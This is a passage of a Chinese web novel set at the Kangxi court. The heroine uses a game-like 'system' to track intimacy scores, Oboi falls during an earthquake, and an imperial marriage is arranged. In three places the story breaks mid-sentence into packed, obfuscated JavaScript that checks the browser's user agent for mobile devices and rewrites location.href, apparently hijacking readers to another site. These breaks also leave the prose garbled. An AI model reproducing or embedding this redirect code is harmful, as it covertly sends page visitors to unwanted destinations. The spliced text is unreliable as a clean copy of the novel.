此刻她正陪着仁宪太后刺绣,针尖在绸缎上起落,眼神却时不时飘向嬉闹的塔娜。“阿日娜苏姐姐,这并蒂莲绣得真传神。”塔娜凑过去赞叹,阿日娜苏紧绷的嘴角又柔和些许。 珠兰看着系统面板上【亲密度:61】的数值,暗道塔娜这枚“亲密度催化剂”果然有效——即便如阿日娜苏这般戒备心强的蒙古贵女,也抵不过每日相伴的潜移默化。 最让珠兰意外的是钮钴禄萨琳,这个一年中总捧着西学书籍的姑娘,某日竟主动抱着《几何原本》来请教作图法。“我听说姐姐对西洋器物颇有见地...”萨琳说话时脸颊微红,指尖紧张地绞着书角。 如今【亲密度:65】的数值旁,标注着【知识共鸣触发:+12%/次】的特殊属性。 珠兰看着不远处萨琳与佟苏完娜讨论望远镜原理的身影,忽然理解了系统分析——这个饱读诗书的女孩,精神高度敏感,在额娘的催促下,以为自己向往着那后位,实则她缺的是能平等交流的知己。 佟苏完娜是最晚入宫的,初见时连行礼都带着怯意。但在诺敏和塔娜“姐姐长妹妹短”的热络攻势下,如今也能红着脸给珠兰递上自己做的点心。【亲密度:65】的数值与萨琳持平,珠兰却知道这背后是诺敏或者塔娜每日拉着她穿梭各宫的成果——热闹的群体效应,有时比精心设计的谋略更易攻破心防。 唯独纳喇玉宁像一汪深潭,她总能在合适的时机露出恰到好处的笑容,陪塔娜玩投壶时准头奇佳,与阿日娜苏谈论服饰时见解独到,但系统始终显示【亲密度:58】。这看似文青又活泼的姑娘,善变的很,心中藏着不为人知的盘算。 仁宪太后的亲密度倒是涨得顺畅,珠兰不过是多陪她聊聊科尔沁的旧事,送些符合她口味的点心,或者跟她一起发呆,【亲密度:70】的数值就已超过多数同住慈宁宫的格格了。 太后摩挲着珠兰送的珊瑚手串,这一串是比当了她的手围做的,十分合适,还特意添了她喜欢的南红进去。甭管这两者搭配不搭配,是她喜欢的,所以她笑得眉眼弯弯:“还是珠兰贴心。” 相较之下,太皇太后与苏麻喇姑的亲密度就像难攻的堡垒。苏麻喇姑因常伴太皇太后左右,【亲密度:56】的数值已算难得,某次珠兰帮她整理药草时,得了教导,还意外触发了【医术知识+5】的奖励。 而太皇太后那双洞察世事的眼睛,总让珠兰觉得自己像被放在天平上称量,【亲密度:45】的数值停滞不前,倒也在意料之中——这位历经三朝的老祖宗,岂会轻易对人敞开心防。 珠兰端起诺敏递来的龙井,茶汤的热气模糊了视网膜上的数值,【康熙亲密度:62】的数字在一众后宫数据中显得格外醒目。 她知道,单凭一己之力吹“枕头风”收效甚微,但当马佳氏的贴心、钮钴禄氏的清雅、佟氏的温婉影响汇聚成流,便能在无形中推动决策的齿轮。 塔娜的笑声混着萨琳讲解望远镜的声音传来,珠兰嘴角微扬——这后宫的“朋友圈”,远比前朝的刀光剑影更需要精心经营。 珠兰调出【康熙后宫策略模型】,系统模拟出大婚之后的妃嫔矩阵:当珠兰将诺敏的【魅力值】提升15点后,这位马佳氏姑娘在康熙临幸时,便能触发【圣眷影响系数+20%】——这意味着诺敏看似无意的枕边细语,能让康熙对特定官员的评价产生微妙偏移。若将萨琳的【西学亲和度】注入能量,便能在皇帝谈论历法时触发【科技政策影响度+18%】。 以上不是她自己不能做,是她懒。而且,帝王的猜忌,总是如影随形,诸般奇异在一身,不是好事。 以康熙天生的平衡属性,专宠根本是不可能的奢望——系统早有评估,这位少年天子的【情感分配模式】呈现典型的“中央空调”特质,旺盛的精力足以让每位后妃都产生受宠错觉。 正因如此,珠兰的谋划才更具深意,与其让康熙被未知女子吸引,不如将后宫填充为自己可控的“信息节点”。 系统投射出新的名单:【未来妃嫔潜力库】中,郭络罗氏阿林珠、乌雅氏乌林珠的名字已被标红,这是约十年后的事了。但下一批亲密度攻略对象的档案,已在系统中生成初步方案。在这场横跨数十年的后宫棋局里,她要做的不仅是赢得当下,更是要将康熙的每一阶段的宠妃爱子,都转化为可计算、可引导的影响力支点。 前朝的刀光剑影隐在琉璃瓦下,珠兰却知葛布喇早已在暗巷布下天罗。 她盯着【权力更迭概率模型】,鳌拜一党覆灭指数已达97%,而康熙亲政倒计时的红色数字正一秒秒跳动。索尼称病的折子又一次递入乾清宫,这次是真病了,钮钴禄氏的势力黯淡下去——这些都在系统的预判之中,她只需静待三月初二的地动。 若非她有系统在手,这地动之事她也不知。太皇太后没有告诉后宫任何一人,皇帝曾经梦到地动。葛布喇也不曾让心爱的女儿们提前躲避,一心都扑在了前朝与鳌拜的争斗。康熙未曾知会京师百姓避灾,只是将此事作为杀手锏预备用出对付政敌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿日娜苏“唰”地抽出匕首,刀刃寒光一闪,某种野性被激发出来,喉咙里发出低沉的警告声,仿佛眼前不是晃动的宫墙,而是草原上的恶狼。 萨琳冷静下来,在摇晃中还伸手扶住了倾倒的书架。苏完娜则完全慌了神,帕子被绞成麻花状,眼泪大颗大颗往下掉,却连哭都不敢出声,只知道死死攥住身边萨琳的衣角,指节因用力而发白。 珠兰看着房梁上的灰尘簌簌落下,系统【地震烈度:4.0级】的字样让她稍松口气,预测无措。 “别怕,扶着太后娘娘往外走!”珠兰拔高声音,让塔娜她们与太后先出去,她伸手去拉离门最远的玉宁。 谁知这位乌拉纳喇格格吓得腿软,竟跌坐在地,往日里的沉静得体碎成粉末,只剩下满脸的惊恐,嘴唇哆嗦着说不出话,只有眼泪无声地往下淌。眼看头顶的雕花横梁仿佛摇摇欲坠,珠兰蹲身,将玉宁半背在身上。 浮土迷了眼,耳边只听见玉宁急促的呼吸声和压抑的呜咽。 当她们跌撞着冲出暖阁时,系统提示音骤然响起:【纳喇玉宁亲密度:65】。 “快去慈宁宫!”珠兰抹掉脸上的尘土,指挥宫女们撑开油布。 13. 提前败亡 慈宁宫的花园里,太皇太后早已带着苏麻喇姑等人在空旷处等候,看着珠兰浑身是土却有条不紊地带着寿康宫众人前来,那双深邃的眼睛里闪过一丝认可。 地动持续了不过半盏茶时间,宫殿檐角虽有破损,主体建筑却无大碍。 到了慈宁宫花园,仁宪太后双腿一软,几乎是被诺敏架着坐到石凳上。 她一把将身旁的阿日娜苏和塔娜搂进怀里,枯瘦的手臂紧紧圈着两人,指尖还在止不住地颤抖,发髻上的东珠流苏随着身体晃动,发出细碎的碰撞声,“不怕不怕...” 话音未落,又一阵余震让假山石屑簌簌落下,太后猛地将两个格格往怀里按,自己则缩着脖子闭上眼,方才在寿康宫强撑的镇定彻底崩塌,只剩下劫后余生的心悸。 阿日娜苏任由太后抱着,匕首却仍紧握在手中,警惕的目光扫过花园每个角落,血液里的彪悍让她在恐惧中仍保持着戒备。塔娜则把脸埋在太后肩窝,抽噎声渐渐低下去,却仍时不时浑身一颤,仿佛还在经历方才的晃动。 萨琳将弄脏的《蒙古源流》平铺在石桌上,用指尖拂去书页上的灰尘,目光却时不时飘向乾清宫方向,眉头微蹙。 诺敏跪在太后脚边,小心翼翼地替她摘下头上歪斜的钿子,发间那枚碎裂的红宝石坠子不知何时掉在了路上,她却浑然不觉,只专注地整理着太后散乱的发丝,时不时看一眼珠兰。 苏完娜缩在诺敏身后,双手紧紧抓着对方的衣襟,眼泪已经止住,可眼神依旧茫然,仿佛还没从方才的惊吓中回过神来,只是下意识地跟着诺敏的动作移动。 玉宁坐在珠兰身边,低着头盯着自己沾满尘土的裙摆,方才被珠兰背在身上的触感似乎还残留在肌肤上,让她偶尔会不自在地动一下肩膀。 当珠兰递给她一块干净的帕子时,她才猛地抬起头,眼中还残留着惊恐的水汽,嘴唇动了动,却没发出声音,只是飞快地低下头,接过帕子的手指微微颤抖。 远处乾清宫方向传来隐约的金锣声,葛布喇等待的“天谕”已至,而鳌拜的末日,就在这场有惊无险的地动之后。 三月初二的地动如闷雷滚过京师,四级烈度的震动虽未让宫墙倾颓,却在百姓聚居的坊巷间掀起惊涛。 宣武门内的米市胡同里,王记油坊的伙计正踮脚卸门板,第一阵晃动让梁上悬挂的油葫芦齐刷刷摆荡,浑浊的菜籽油溅在账本上,晕开一片片暗黄的涟漪。 “地动了!”不知谁喊了一声,扛着粮袋的脚夫撒腿就往胡同口跑,麻袋装的粟米撒了满地,被惊惶的人群踩成碎末。 前门大街的绸缎庄里,掌柜的正给客人量尺,雕花柜台突然发出“咯吱”巨响。 穿蓝布衫的妇人尖叫着抱紧孩子,头上的银簪掉在织金锦缎上,划出细长的裂口。 学徒们顾不上收拾散落的尺幅,掀开店后的竹门就往外冲,门板撞倒了架上的颜料罐,石绿与赭石在青砖上洇开。 西四牌楼的馄饨摊被震翻,沸腾的骨汤泼在食客裤腿上,却没人顾得上烫痛,端着空碗的老叟浑浊的眼睛里满是恐惧:“老天爷这是咋了......” 南城的棚户更是一片狼藉,土坯墙裂开蛛网般的缝隙,茅草屋顶簌簌掉着草屑,某户人家的泥炕轰然坍塌,压碎了炕洞里煨着的药罐。 抱着病儿的妇人跪在废墟前哭嚎,孩子咳嗽着抓她的发髻,而她只能眼睁睁看着半袋保命的杂粮被埋在瓦砾下。一名头发斑白的老夫子歪歪斜斜蹲下,带来的几个年轻后生帮她把瓦砾扒开,天幸那半袋子粮食没破漏出来。 妇人停下哭嚎,泪眼朦胧,“杨先生···俺家那口子可也回来了?” 巡城兵丁的铜锣声由远及近,却被此起彼伏的哭喊声淹没——有人在找走散的孩子,有人对着倒塌的灶王爷牌位磕头,更多人则背着包裹涌向城门,以为城外能躲过天谴。 顺天府尹的快马冲进紫禁城时,马鞍上还沾着宣武门瓮城的尘土。奏折里的数字触目惊心:内城倒塌民居三十七间,外城破损房屋两百一十三处,砸伤百姓八十四人,冻毙于街头的乞丐增至十七人。 街角的算命摊前,仿佛是个瞎眼的老夫子摸着龟裂的卦盘摇头:“地动属阴,怕是朝中有奸臣啊......” 第一波震波撼动京师时,葛布喇正按剑立在九门提督府的箭楼上。 鎏金盔檐下,他望着宣武门方向腾起的烟尘,左手紧握的密信上还留着康熙朱批的指痕:“地动即发,可按前议行事。” 身旁的佟国纲扯开衣襟,露出里面的锁子甲,甲叶在阴云下泛着冷光,“健锐营已按图布防,火器营正在包围武英殿!” 震动加剧的刹那,葛布喇抽出腰间佩刀,刀身在箭楼栏杆上划出火星,“开城门!” 早已等候在侧的千总挥动令旗,东直门的千斤闸缓缓升起,城外伪装成漕帮的健锐营士兵蜂拥而入,右臂缠着黑布条——那是识别敌我的标记。 此时鳌拜安插在城门的亲信正躲在瓮城角落发抖,被突然闯入的士兵一刀割了喉咙,鲜血溅在震裂的城砖上,与掉落的墙皮混在一起。 葛布喇与佟国纲率领的火器营则直奔武英殿,当震波让琉璃瓦哗啦啦掉落时,鳌拜的亲信、銮仪卫云麾使正抱着印信往外跑,却撞见黑洞洞的佛郎机炮口。 “奉皇上旨意,锁拿乱党!”佟国纲的吼声盖过地动,士兵们踢开殿门,只见金砖上散落着未写完的矫诏,砚台里的朱砂被震得泼了满地,像极了提前上演的血光。 鳌拜的侄子塞本特举刀顽抗,被火器营的排枪齐射震倒,铅弹嵌进殿柱的龙纹里,木屑混着血珠飞溅。 地动的余波还在震颤宫墙时,鳌拜正坐在武英殿的鎏金宝座上擦拭佩刀。 案头摊着未盖印的圈地文书,砚台里的墨汁因震动泼了半盏,在明黄的奏章上洇出狰狞的纹路。 “大人,火器营把殿围了!”心腹侍卫撞开门时满脸血污,话没说完就被流矢穿透咽喉。 鳌拜猛地起身,佩刀“噌”地出鞘,刀刃在昏暗的殿内划出半轮银月。他望着殿门涌入的黑布条士兵,喉头发出低沉的咆哮,宛如被激怒的熊罴。 葛布喇手持令箭踏入殿中,甲叶上的布条在穿堂风中猎猎作响。 他看见鳌拜站在御座前,高大的身影将龙纹屏风遮得严严实实,那双曾在沙场上杀人如麻的眼睛里,此刻翻涌着震惊与狂怒。 “葛布喇?你敢反我?”鳌拜的吼声震得梁上灰尘簌簌落下,手中的刀猛地劈向最近的士兵,刀风之劲竟将对方的枪杆劈作两半。这个索尼家的大小子,哪里来的这样的胆量。 鳌拜全然不知,有一股势是在他眼皮子底下成型的,他败在了信息不对称上。 葛布喇侧身避开飞溅的木屑,刀尖指向案头的矫诏,“私铸兵器,矫拟上谕,圈地害民。” 他话音未落,身后的佟国纲已率火器营排枪齐射,铅弹撞在鳌拜身前的铜缸上,发出震耳欲聋的轰鸣。葛布喇皱了皱眉头,说好了要活的。 鳌拜竟用刀背生生磕飞两颗铅弹,大步向葛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778816|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布喇冲来。佟国纲泄气,怎么没打死他。 老将的靴底碾过地上的奏折,那些“镶黄旗换地令”被踩成碎纸,沾在他溅了血的裤脚上。圈地就是鳌拜一生的意难平,他始终致力于此,不曾丝毫背离。 葛布喇沉腰立马,佩刀迎上对方的攻势,两柄百炼精钢相撞的脆响,竟盖过了远处传来的枪声。 “你赫舍里氏不过是满洲户下人,奴才出身。”鳌拜刀势越猛,每一击都带着开国勋贵的悍勇,“也敢撄我锋芒?” 葛布喇格挡中退后半步,刀刃在鳌拜胸前甲胄上划出火星,他突然变招,刀尖虚晃后直刺对方手腕,逼得鳌拜不得不回刀自救。奴才?谁还不是奴才来着! 就在这电光火石间,佟国纲瞅准破绽,一枚铁蒺藜精准掷出,钉在鳌拜脚边的金砖上。 鳌拜重心一偏,葛布喇趁机突刺,刀尖抵住他的咽喉。 殿内瞬间死寂,只有鳌拜粗重的喘息声在梁柱间回荡。 他看着葛布喇眼中的冷静,那是一种他从未在两黄旗后辈身上见过的沉稳——不像同僚遏必隆的懦弱,也不像索尼的圆滑,而是带着一种他看不懂的东西。 “好...好一个葛布喇...”鳌拜松开了握刀的手,佩刀“哐当”落地,惊起一群被地动吓飞的麻雀。这么多年,居然都在演老子,谁说葛布喇是个酸书生来着。 他忽然笑了起来,笑声里满是不甘与自嘲,“是老夫...小看了你这小辈。”早年在战场上,怎么没见你小子这么能打。 葛布喇对身后士兵挥手:“拿下。” 系统没少给葛布喇的武力值注入观察点,珠兰从不操心他的安全问题。 铁链锁住鳌拜手腕的刹那,这位权倾朝野的辅政大臣忽然抬头望向殿外,天空不知何时放晴了,一缕阳光穿透云层,照在他花白的胡须上,映出点点金芒。 一队人马扑向鳌拜党羽的府邸,在吏部尚书阿思哈家门口,震落的门匾差点砸中带队的参领,士兵们却毫不减速,撞门的巨木每一次撞击都与地动的余波共振。 门闩断裂的瞬间,阿思哈正往火盆里塞账本,佟国维一刀劈碎桌案,银票撒了满地,其中一张三千两的山西票号凭条上,还留着鳌拜亲批的“暂存”字样。 “带走!”他用刀背敲着阿思哈的头,打翻火盆,士兵们将瑟瑟发抖的一众人捆成粽子,铁链的哗啦声与远处百姓的哭喊声交织在一起。 最有经济效益的交锋发生在鳌拜私设的兵器作坊,当健锐营踹开昌平山谷的窑门时,工匠们正往刚出炉的甲胄上浇冷水,地动让窑顶的木梁摇摇欲坠。 索额图捡起地上的西洋火器图纸,他冷笑一声,将图纸塞进怀里:“封了这黑窝!” 午后的阳光穿透云层,葛布喇与佟国纲在午门重新汇合。 两人的甲叶上都沾着尘土,葛布喇的佩刀还在滴血,而佟国纲的袍角被流矢划破。 “九门已控,宫中清洗完毕。”葛布喇掏出一叠押解名单,上面阿思哈、塞本特等三十七个名字被圈。 “鳌拜的亲信一个没跑。”佟国纲则呈上从武英殿搜出的矫诏底稿,纸页上圈地新则四字模糊,却仍能看清末尾拟好的“鳌拜代批”字样。 紫禁城的铜钟敲响申时三刻时,“走,去乾清宫复命。”两人的脚步声踏在震裂的金砖上,每一步都像敲在鳌拜专权时代的丧钟上。 京师百姓在尘土与哭喊中度过的这一日,终将被史书轻描淡写成“康熙四年春,京畿地动,上以为警,遂罢鳌拜”。 14. 帝后议婚 葛布喇站在乾清宫的丹陛上,宣读抄家旨意。阳光透过震裂的檐角照在他甲叶上,那些因圈地而被强占的田庄图、私铸兵器的账本,此刻正被分门别类送往内库。 少年天子在葛布喇念到“鳌拜党羽一律下狱”时,面色陡然沉肃,阶下跪着的保皇派们纷纷叩首,帽檐下的眼睛里闪烁着贪婪与兴奋。 正如苏克萨哈倒台,鳌拜党羽吃饱一般。 一鸡死,一鸡鸣。此刻,分饼的人换成了他们。 因为葛布喇不会吃饼,最香最甜的那一块儿没到赫舍里家,索尼气的病都重了三分。 今日,珠兰在寿康宫的暖阁里捏碎了第三块茶饼,这是很罕见的事。塔娜她以为姐姐是累了,忙让姐姐去旁边休息,她来做就好了。 系统【能量收益面板】刺眼地显示着【“碧浪”级结晶获取失败】,系统的机械音在意识中响起:因果律扰动评估——鳌拜倒台时间点提前,但暴力指数超出历史线27%,地动赈灾延误导致民生负面反馈+19%。 就因为这,我的能量结晶没了?珠兰有一种不知该找谁诉说的,冤屈感。 南城的流民在废墟中啼号时,朝廷的兵丁在清点鳌拜私藏的兵器。 宫中太监们去搬运鳌拜家的细软,从上到下不亦乐乎,那些装着金银的抬盒每晃一下,都像在嘲笑她精心策划后的失算。 他们都得了好处······ 珠兰对着系统,就我亏了。 民生,珠兰第一次将目光投注过去。 系统沉默片刻,投影出一组曲线:【权臣倒台收益】与【历史进程推动】的相关性系数仅为0.37,而【民生指数】与【能量收入】的相关性却高达0.81。 世界进程并非简单的“坏人倒台=收益增加”,当葛布喇用比历史更激烈的手段清洗政敌时,产生的负面效应部分抵消了提前倒鳌拜带来的红利。 历史的齿轮需要恰到好处的推力,过猛的干预只会让能量在无序的震荡中流失。系统后知后觉地告诫着珠兰,珠兰心中一梗又一梗,默默咽下一口气,这是我自己手作的金手指,受着吧。 太皇太后正在佛前捻珠,琉璃灯盏的光映着她鬓边新添的白发——这场提前爆发的权力更迭,连她都未算到会如此迅速,没有丝毫拖泥带水。 葛布喇这般果断行事,实在不像索尼教的。 皇帝这般行事果断,也不像她教的。 “皇祖母,孙儿已将鳌拜党羽尽数收押。”他抬起头,少年人特有的清亮眼眸里,带着与年龄不符的沉稳,“圈地令已废,被强占的民田正在清查返还。” 太皇太后放下手中的佛珠,“比你阿玛有决断。”她想起顺治帝当年面对多尔衮时的犹豫,再看眼前这个十三岁便扳倒权臣的孙儿,出乎她的意料。 原本她是想用地动做铺垫,皇帝却直接做了杀招。 惊险之处,不必细说。君子之道,不近危墙,也不该此时谈。此刻的皇帝志得意满,他不会听的。 殿外传来小太监清扫瓦砾的声音,那是地动时震落的琉璃瓦。 “葛布喇这次,功不可没。”太皇太后转而说道。 康熙的眼神亮了亮,“孙儿正想奏请皇祖母,拟封葛布喇为一等侯兼一云骑尉。” 太皇太后端起茶盏,又换了话题,“哀家听说,皇帝已安排礼部筹备大婚之事?” 康熙心头微动,抬眼看见祖母审视的目光。 “鳌拜倒了,”太皇太后指尖划过茶盏边缘,语气平淡却暗藏深意,“索尼虽为首席辅臣,终究是病退了。哀家问你,后位...可还属意索尼的孙女?”她明知珠兰便是葛布喇之女,却故意点出“索尼”二字,探探孙儿的心思。 “皇祖母,”康熙挺直背脊,声音陡然坚定,“孙儿意属葛布喇之长女,珠兰。此情,始终不变。”他迎着太皇太后的目光,毫不回避,“葛布喇于国有擎天保驾之功,珠兰格格温良贤淑,娴于礼法。” 康熙曾引着葛布喇说起家中事。 记得葛布喇无意间说过,他家大格格在家时就管着一家子的大小事,再妥帖公正不过的。 当时葛布喇那发自内心的骄傲,令康熙印象深刻。也让珠兰在他心中,除了温婉明理之外,多了善于经营的好处。 此时内廷之乱,不逊于外,比如宫中这些心大的奴才,还认不清主子是谁。康熙也想要个得力的人来,把这一摊子拾掇起来。 孝庄端茶的手微微一顿,随即低笑出声,“好个葛布喇之女...皇帝看得明白。”她放下茶盏,瓷器碰撞的脆响在佛堂里回荡,“鳌拜倒台,索尼病退,皇帝却仍抬举葛布喇,是念着他的功劳,还是...另有打算?” “是功劳,也是人心。葛布喇率八旗将士力挽狂澜,此等功勋,当得起国丈之尊。至于后位...”他抬起头,眼中闪烁着不容置疑的光芒,“这是孙儿自己选的皇后,与索尼家族无关,只关乎葛布喇的忠勇,和,珠兰的贤德。” 太皇太后盯着康熙眼中的执拗,沉默良久。 阳光透过窗棂照在两人之间,将少年天子的影子映的又高又壮。 孙儿已不是需要她庇护的幼主——他不仅扳倒了权臣,更懂得收揽人心。 科尔沁的意愿固然重要,但在一个能独立掌控朝局的帝王面前,部族利益终究要退居其次。 “罢了,”她老了,不想争了,太皇太后摆摆手,语气里带着前所未有的温和,“皇帝的心意,哀家岂能不依?”她看着康熙惊喜的神色,补充道,“皇帝有主见,是大清的福气。” 康熙谢恩时,心中一片滚烫。祖母,认可他了! 他想起葛布喇在武英殿浴血的身影,此前属意珠兰,或许有拉拢索尼家族的考量和无可奈何,此刻却全然是对功臣之女的真心认可,更是对自己决断力的绝对自信。 是我在选择你,不是我只能选择你。这对康熙来讲,颇有意义。 此刻的珠兰正在寿康宫分析问题所在,系统从南城民生指数的一片狼藉里,突然弹出【康熙亲密度:65】的提示。 数值跳动,少年天子对她的好感,已随着对葛布喇的极致赞赏,悄然攀上了新的刻度。 葛布喇这枚旗子好用,却似乎太局限于庙堂了。 将来,势必要再有其他趁手之人才行。珠兰想要的,是权谋指数高一点的,好在外有个大掌柜的。 观察点每日积攒600便是上限,为了保证每一点都用在刀刃上,她必须仔细算。 葛布喇是她着重投入的第一人,家中其余人所消耗的点数全加起来也比不上他用掉的,现在给与的回报已证明珠兰的决策没错。 政治的棋局从无定数,就像康熙此刻钦定的后位,既是对功臣的最高奖赏,也是一个少年帝王宣告亲政的独立宣言。 三月的风刚吹散鳌拜倒台的血腥气,慈宁宫便落了道新旨。 当小太监尖细的嗓音念出“宫中待年贵女,着即归家”时,正在寿康宫里请安的格格们跪地接旨谢恩。 小太监走后,太后不舍的叹息一声,搂着每一个小格格告别。 按照太皇太后的意思,等她们再进来,便不能这般亲昵了,不合规矩。 马佳诺敏攥着的绣花绷子松了又紧,紧了又松,“啪”地掉在地上,她下意识望向珠兰鬓边新添的缠枝莲花步摇,那步摇上悬着一串红宝石穗子,也是拼成莲花图样。喉间涌上一种说不清的苦涩——昨日她还在偷偷给珠兰绣嫁妆的喜帕,一针一线是缠枝莲花,心里想着将来。此刻却要收拾行囊离开这即将属于皇后的宫苑,不知未来还能否相见。 博尔济吉特阿日娜苏抚摸狼牙护身符的手指不断屈伸,骨节因用力泛白。草原的风似乎透过窗棂吹乱了她的发丝,让她想起祖母临行前“务必争得后位”的叮嘱,已经很久不记得这话了,离别时才想起,晚了啊。狼牙在掌心硌出深痕,比起困在这红墙里做个不得宠的嫔妃,回到科尔沁纵马更像解脱。却也带着伤感,和大家在一切的时光里,塔娜与苏完娜是她的好伙伴,她会想念的。 萨琳合上书页的动作居然带着几分学者的严谨,《几何原本》的扉页还留着前日计算的草稿。她将一缕碎发别到耳后,本来是为了迎合皇上而学,却成了自己的挚爱。要离开宫中了,唇角竟扬起释然的笑——鳌拜倒台,她的阿玛沉寂,额娘不会再要求她为后位筹谋,便可安心去钦天监借阅《历书》。当其他格格慌乱道别时,她正用炭笔在书页边缘勾勒着,模样还是当年入宫时的稳重端庄。 纳喇玉宁不经意间看见铜镜里自己素白的脸,她不甘心就此离开这即将风云变幻的权力中心,回到家里也是要嫁人的,为何不选一个世上最好的呢。可她的命运由不得自己,只能默默将半幅未绣完的《寒江独钓图》卷进包袱——那上面的渔翁,同样身不由己。 佟苏完娜的眼泪大颗大颗砸在绣绷上,浸湿了正在缝制的荷花瓣。她攥着诺敏的衣角不肯松手,帕子被绞成麻花状,“诺敏姐姐,我们真的要走了吗?”怯生生的嗓音里满是惶恐,这个最晚入宫的格格,连宫墙的角楼都没认全,却要在乍暖还寒的三月离开这群刚刚熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786550|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姐妹。 珠兰安抚众人的情绪,带着她们同太后告别,去慈宁宫外磕头,转身时望着窗外摇曳的花枝,南城民心值最低,从此处着手,应有收益弥补此次的错失。 果然封建君臣局限性太大,葛布喇忠君数值升的太高了,其他政治指数都徘徊在个位数,动弹不得。爱民指数,一样是那么低,指望不上他,得另想办法。 塔娜依偎在姐姐身边,有不舍,有难过,还有一种隐秘的,再没有人和她抢姐姐的快意。 三日后的晨光穿透薄雾时,神武门的铜钲刚敲过三响。 马佳氏的蓝呢大轿停在宫墙外的青石板上,管事嬷嬷踮脚望着宫门方向,手中攥着的名帖被汗水浸得发软。当诺敏走出宫门时,丫头们立刻上前接过宫女送出来的行囊,却没人敢动她手中那枚用红丝线系着的红宝石缠枝莲花坠子——那是她从珠兰那里带走的唯一念想。 博尔济吉特家的侍卫牵着雪白的蒙古马等在街角,阿日娜苏翻身上马时,狼牙护身符在马鞍上撞出清响。她回望了一眼巍峨的宫墙,忽然扬鞭而去,身后的侍女们抱着她的弓箭匣子,跟不上马蹄扬起的烟尘。 而此刻在钮钴禄氏的府邸门前,萨琳正将怀中抱着的《几何原本》递给迎接的管家娘子,书里夹着的西洋铜尺在阳光下闪了闪。 乌拉纳喇府的轿子来得最晚,玉宁上轿前特意在宫门口的石狮上虚按了按手掌,仿佛要留下什么印记。轿帘落下的刹那,她看见珠兰的父亲葛布喇骑着高头大马经过,腰间佩刀的宝石在晨光中刺目——那是皇帝亲赐的“定国安邦”佩刀。 而佟苏完娜则在家中老嬷嬷的搀扶下登上马车,车窗上还贴着她入宫时母亲给的平安符,边角已被泪水泡得发皱。 各府的马车刚驶离皇城根,快马加鞭的传旨太监便奔向四面八方。 马佳氏的家主跪在庭院里接旨时,听见“贵女婚事着听候宫中安排”的字句。 科尔沁的驿使在归化城接到八百里加急文书,连夜快马传讯给正在祭敖包的亲王。 钮钴禄氏的书房里,萨琳的父亲对着懿旨沉吟良久,最终将案头的求亲帖丢到火盆里。 珠兰与塔娜回家后,先去拜见祖父母,玛法正病着,是真病了。 祖母大佟佳氏在正厅见了珠兰姐妹俩,全程站着,恭恭敬敬,丝毫不见亲昵,甚至还有些恭敬过头了。 礼部尚书离开乾清宫,康熙正在批阅葛布喇呈上的旗营整编方案,朱砂笔在“镶黄旗换防”处顿了顿,墨点晕染开来。 赫舍里珠兰...... 少年天子默念着这个名字,想起那个眉眼温柔的女子,她的侧脸,忽然清晰地浮现在眼前。 钦天监的铜壶滴漏在深夜的观象台发出规律的声响,五官正捧着推演了三日的历书叩见康熙。 黄绢上“九月初八,坤卦象吉,宜婚娶”的朱批旁,还画着北斗七星的连线图——那是钦天监监正根据珠兰的生辰八字,在紫微星轨中找到的最佳契合点。 “皇上,”五官正禀报,“此日迎娶,正应''天垂象,圣人则之''的古训。” 康熙将历书推给侍立一旁的葛布喇,笑意从心底而出。 葛布喇,葛布喇能怎么办。 这跟阿玛说的不一样,怎么不是塔娜? 他心中有瞬间发慌,爱女之心与忠君之心冲突片刻,跪地谢恩。 大女儿所求,是皇上绝给不了的。 可是,皇上要她入宫。赫舍里氏,便无法拒绝。 昭圣太皇太后又一道懿旨,如惊雷般炸响,全天下都知道了皇后凤冠必然落于赫舍里氏。 奉迎礼的筹备清单像雪片般飞向内务府,造办处的工匠们围着丈二红绸发愁,要在六个月内织出三百匹金线蟒纹缎,光桑蚕丝就要用掉江南三州的产量。 銮仪卫的官员们则对着《会典》反复推敲,如何让皇后的仪驾既合规制,又要华丽。 因钦天监近日出镜率高,皇帝想起了京中还有一波人来。诏令,汤若望等人重返钦天监,精研历法。法国耶稣会士白晋、张诚,意大利传教士马尔蒂尼等进入宫廷,向天子献上天文、数学与神学翻译文章,也通过《西医略论》等译著零散介绍解剖学知识。 因鳌拜之故,葛布喇将太医院清理了一番,把曾替鳌拜做事的左院判一系都抓了。 皇帝本就警惕心极强,突然意识到自家大夫都被旁人所用后,自学医术的心思就起了。 因康熙表现出来对西方医学的好奇,葛布喇记在心上,寻了传教士再学西医理论。 15. 爱子之心 珠兰踏入垂花门时,正听见剧烈的咳嗽声。 管家悄声禀报:“老太爷今早咳血了,还把药碗砸了。” 她提起裙摆穿过抄手游廊,廊下的鹦鹉突然学舌:“一等公...一等侯...”【索尼生命体征监测】显示,脉搏比昨日又弱了三分。 暖阁里弥漫着浓重的参茸味,索尼靠在铺着黑狐皮的榻上。“葛布喇...”他忽然开口,声音嘶哑得像破旧的风箱,“你站过来。” 